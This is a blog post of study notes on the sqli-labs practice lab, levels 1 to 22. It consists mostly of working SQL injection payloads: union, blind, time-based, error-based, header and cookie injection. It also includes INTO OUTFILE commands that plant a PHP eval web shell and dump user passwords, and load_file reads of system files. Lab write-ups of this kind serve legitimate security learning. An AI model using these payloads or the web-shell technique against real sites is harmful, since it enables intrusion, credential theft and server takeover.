SQLiLab学习笔记less1-22 by L0st

less-1&2

一打开就来了一句"Please input the ID as parameter with numeric value"误导了我。。
真的以为是数字型注入,用id=1 union select..试了半天。后来才发现是字符型注入。
然后用 id=0' union select 1-99#和-- 各种尝试均失败,看writeup发现末尾应该使用 --+ 来注释。

知道了是字符型,那么先看看该sql请求查询了几个字段:
1' order by 1~4 --+
不断尝试直到by 4时页面报错,即查询了三个字段,现在可以开始查询了

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

故MySql常用注释方法:
/ #(即%23) -- /.../ --+

常用函数

  1. version()——MySQL版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

字符串连接函数:
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

sql中运算优先级and高于or,所以username=’admin’ and password=’’or 1=1
( 假 ) 或 真 = 真
常用SQL查询语句:

show databases查询所有库
use table_name进入库,如use information_schema使用系统数据库
show tables查询库中表
desc table_name查询表结构

查库select schema_name from information_schema.schemata
查此库的表
select table_name from information_schema.tables where table_schema=’xxxxx’
查该表的所有列:
Select column_name from information_schema.columns where table_name=’xxxxx’
查该列数据:
select * from table_name where id=1--+ limit 0,1

本题query
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

less-3

使用a'b'c'd'e测试是哪种闭合方式,发现返回 near 'b'c'd'e') LIMIT 0,1' at line 1
猜测SQL语句为select * from table where id=('$_GET')
故使用1')来闭合输入
然后依旧需要用--+来注释闭合

本题query
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-4:

输入id=1'发现返回正常,输入id=1"返回报错near '"1"") LIMIT 0,1'
故推测查库语句应该为select * where id=("...")

本题query
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";


盲注分为三种:
布尔型,时间性,报错型

常用截取字符串函数:
mid(column_name,start,length)
column_name:要提取的字段名
start:规定开始位置(起始值为1)
length:要返回的字符数,可以留空,则返回剩余文本

substr()
substring()
用法均同mid()

left(string,n) string--要截取的字符串 n--长度
left()得到字符串左边指定个数的字符,即截取前n个字符
例如:left(database(),1)>’a’,查看数据库名第一位

ord()
此函数为返回第一个字符的ASCII码
例如ORD(MID(DATABASE(),1,1))>114
意为检测database()的第一位ASCII码是否大于114,也即是‘r’

ascii()用法如ord(需与subsrt截取函数组合使用)

用例:
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
若table_name首字符大于a,则返回真,否则为假

常用的报错注入函数:
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 查询xml
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 修改xml


less-5

使用id=1'后报错,故判断为字符型。但正常页面并不返回数据,故判断为布尔型盲注。
猜测数据库版本号:
id=1' and left(version(),1)=5--+
猜测数据库长度:
id=1' and length(database())>5--+
猜测数据库名第一位:
id=1' and left(version(),1)>'a'--+
猜测数据库第二位:
id=1' and left(version(),2)>'se'--+
猜测库中的表名:
id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>101
猜测表中的第一列(使用regexp列(使用regexp,测试users表中的列名是否含有us的列):
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+
猜测表中的第一列是否含有username:
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^username' limit 0,1) --+
猜测users表的内容:(获取username中的第一行的第一个字符的ascii,与68进行比较,
即为D。而我们从表中得知第一行的数据为Dumb)
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)
FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

less-6

使用id=1'无报错,id=0'无报错,猜测不是'闭合,测试id=0 or 1=1--+无果,
id=0' or 1=1--+无果,id=0" or 1=1--+返回正常,推测使用"..."闭合
使用id=1" and 1=2--+返回错误,验证推测。

此类题也可用时间注入:

IF(expression1,expression2,expression3) 如果ex1成立,则执行ex2,否则ex3)
?id=1" and IF(length(database())>8,1,sleep(5)) --+
该语句的作用是如果数据库长度大于8,则立刻返回正常页面,否则延时5秒后返回
BENCHMARK(arg1,arg2) 该函数在MYSQL中用来测试一些函数的执行速度。arg1是执行的次数,arg2是要执行的函数或是表达式。
?id=1" and if(length(database())>7,BENCHMARK(1000000,md5('a')),1) --+
if条件如果为真,则对字符a进行md5编码1000000次,否则立刻返回结果

less-7


Load_file(file_name)函数读取文件并返回该文件的内容作为一个字符串
使用条件:

  1. 必须要权限读取且文件必须完全可读
    and (select count(*) from mysql.user)>0
    如果返回正常,说明有读写权限。
  2. 欲读取文件必须位于服务器上
  3. 必须指定文件完整路径 //可以想办法提交错误的Query让程序报错获得路径
  4. 欲读取文件必须小于 max_allowed_packet

用法:

  1. union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码
  2. union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
    “c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”
  3. union select 1,1,1,load_file(c:\\boot.ini)
    注意:路径里的/用 \\代替

导入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

有两种利用方式:

  1. Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php” //即直接将select内容导入文件中,但这里需要注意特殊符号被转义
  2. Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件 //本意是行结尾时要使用Lines terminated by 后面的内容,通常为'/r/n',我们在BY后面添加自己的16进制文件
    可以是一句话或其他任何代码。
Tips
  1. 文件路径注意转义
  2. 如果当前页面无法导出文件,可写入到新文件中读取:
    select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
    即将my.ini导出到test.php,我们访问test.php可看到文件内容

从源代码中可以看到Query为
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
此处依旧可以使用报错注入,但这里我们练习文件导入注入

?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+
导出用户名及密码,需知道当前查询表名
有几个需要注意的点,这里联合查询的条件是前面的语句为真,即id=1返回正常,还有就是windows中的'/'换成'\'

?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+

?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+
两种语句均是同样的效果,写入一句话成功后直接用菜刀连接即可

less-8

同less-5,使用布尔或延时注入方法

less-9

通过简单测试可以发现,无论输入查询的数据正确与否,页面内容不会随之改变,故考虑使用延时注入
?id=1' and if(substr(user(),1,1)>'a',sleep(5),1) --+
延时注入完整流程
猜测数据库:

?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)

说明第一位是s (ascii码是115)

?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是e (ascii码是101)

....

以此类推,我们知道了数据库名字是security

猜测security的数据表:

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推,得到emails

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是r,...依次类推,得到referers

...

再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

猜测users表的列:

?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

以此类推,我们得到列名是id,username,password

猜测username的值:

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

less-10

?id=1" and if(left(user(),1)='r',sleep(5),1) --+
除使用双引号闭合id外,与less-9无异

less-11

该题使用POST方法提交参数,看下Query语句
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

先来试试万能密码:

username:'or 1=1 limit 1,1 #
password: whatever....
改变limit后面的数字为 2,1 3,1 4,1既可查询不同用户的密码

联合查询

username=admin' order by 1 # 替换 1 为2,3,4...直到报错为止,既可知道查询的字段数

username=0' union select 1,2 # 显示字段显示的位置

username=0' union select user(),version() # 剩下的步骤与GET型无异

less-12

先测试一下Query语句中如何闭合一个参数的输入
username=a'a"a')aa
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a')aa") and password=("da") LIMIT 0,1' at line 1
可以看出应使用 ") 来闭合
剩下与less-11无异

less-13

源码中的Query请求:
$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
同样构造:
username=admin') #
password=随便输
显示登陆正常,但不会返回任何数据,这里要结合盲注技术:
admin') union select 1,'<?php @eval($_POST["syc"])?>' into outfile 'c:\\xampp\\htdocs\\1.php' #
直接上菜刀就行

less-14

闭合参数的方法为 "$id" ,其余同less-13

less-15

先测试一下参数是如何闭合的,多试几次就发现uname=1' or 1=1 # 可以成功登陆,
说明参数以 '$id' 方式闭合,然后开始造轮子:
1' or 1=1 and length(user())>10 #
或者延时注入:
1' or 1=1 and if(length(user())>5,benchmark(1000000,md5('a')),1) #
接下来就是盲注的过程,参考前文.

less-16

除闭合方式变为 ("$id") 外,与less-15无异

less-17


SQL中对于数据的查询,增减与修改:

查询

select * from users where id=1;

增加

insert into users values('16','cat','cat'); 直接增加一行数据至users表

删除
  1. 删除数据
    delete from table_name;
    delete from table_name where id=1; 删除指定条件的数据
  2. 删除结构
    drop database database_name; 删库
    drop table table_name; 删表
    alter table table_name drop column column_name; 删除表中的列
  3. 修改
    update table_name set column_name='new_value'; 修改所有列的数据
    update table_name set column_name='new_value' where id=1; 指定条件修改

先来看下源码中程序是如何修改用户密码的:

$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$row=mysql_query($sql);
$row1=$row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

因为程序对username做了严格过滤,故只有password处存在注入:
构造payload:
New Password=
123' and if(length(user())>10,1,benchmark(1111111,md5('a'))) #
剩下就是延时注入的套路了。

less-18

先看源码:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";`

$insert="INSERT INTO security.uagents (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";`

这里我们在HTTP请求中User_Agent处利用报错注入:
'and updatexml(1,(select @@version),1) and '1'='1 查询mysql版本

'and extractvalue(1,concat(0x7e,(select @@version),0x7e,(select user()),0x7e)) and '1'='1
'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) and '1'='1 查询库名

less-19

与less-18无异,只是将注入点换成了HTTP请求头的Referer

less-20

先看一个函数setcookie():
setcookie(name,value,expire,path,domain,secure)
然后看关键的几处源码:

生成cookie:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];

setcookie('uname', $cookee, time()+3600);

设置cookie后:
$cookee = $_COOKIE['uname'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
    {
        die('Issue with your mysql: ' . mysql_error());
    }

可以看到,在成功登陆后服务端会生成一段cookie,然后客户端请求页面(刷新)时会带上设置的cookie,程序会读取cookie中的uname数据,并且将其带入数据库查询,故我们需在uname处构造payload:
uname=admin' and updatexml(1,(select user()),1) #

less-21

查看源码发现大部分与less-20相同,只是多了:

$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);     //对$cookee进行了一次BASE64解码
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
//注意,此处闭合参数需要用')

那么我们将payload进行一次BASE64编码:

编码前:da') and updatexml(1,(select @@version),1) #
编码后:ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=

然后在cookie中发送:
uname=ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
即可返回数据库版本

less-22

与less-21差不多,也只是多了:
$cookee1 = '"'. $cookee. '"';
造轮子时需要用双引号闭合。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 201,681评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,710评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,623评论 0 334
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,202评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,232评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,368评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,795评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,461评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,647评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,476评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,525评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,226评论 3 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,785评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,857评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,090评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,647评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,215评论 2 341